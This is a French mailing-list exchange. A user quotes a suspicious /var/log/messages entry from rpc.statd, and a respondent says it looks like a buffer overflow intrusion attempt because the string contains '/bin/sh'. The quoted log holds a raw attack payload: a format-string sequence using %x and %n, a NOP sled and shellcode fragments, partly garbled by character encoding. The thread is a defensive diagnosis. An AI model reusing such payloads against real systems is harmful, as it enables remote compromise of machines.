Patrice Karatchentzeff <[EMAIL PROTECTED]> writes: > Salut, > > J'ai surpris dans mes log (/var/log/messages) la s�quence suivante > (attention, c'est de la po�sie ) : > > Feb 13 08:28:35 belledonne 173>Feb 13 08:28:35 /sbin/rpc.statd[172]: > gethostbyname error for > ^X���^X���^Y���^Y���^Z���^Z���^[���^[���%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1��|Y�A^P�A^H���A^D�����^A�f̀�^B�Y^L�A^N��A^H^P�I^D�A^D^L�^A�f̀�^D�f̀�^E0��A^D�f� > Feb 13 08:28:35 belledonne > �^F/bin�F^D/shA0��F^G�v^L�V^P�N^L��^K̀�^À���� > > J'�tais connect� alors (en RTC). Quelqu'un sait-il de quoi �a en > retourne (belledonne, c'est ma machine bien s�r) ?
�a ressemble � un d�bordement de buffer dans /sbin/rpc.statd. Il y a comme un "/bin/sh" dans la chaine, (2eme ligne des logs), peut-�tre une tentative d'intrusion. Pas tr�s po�tique... -- Julien Gilles
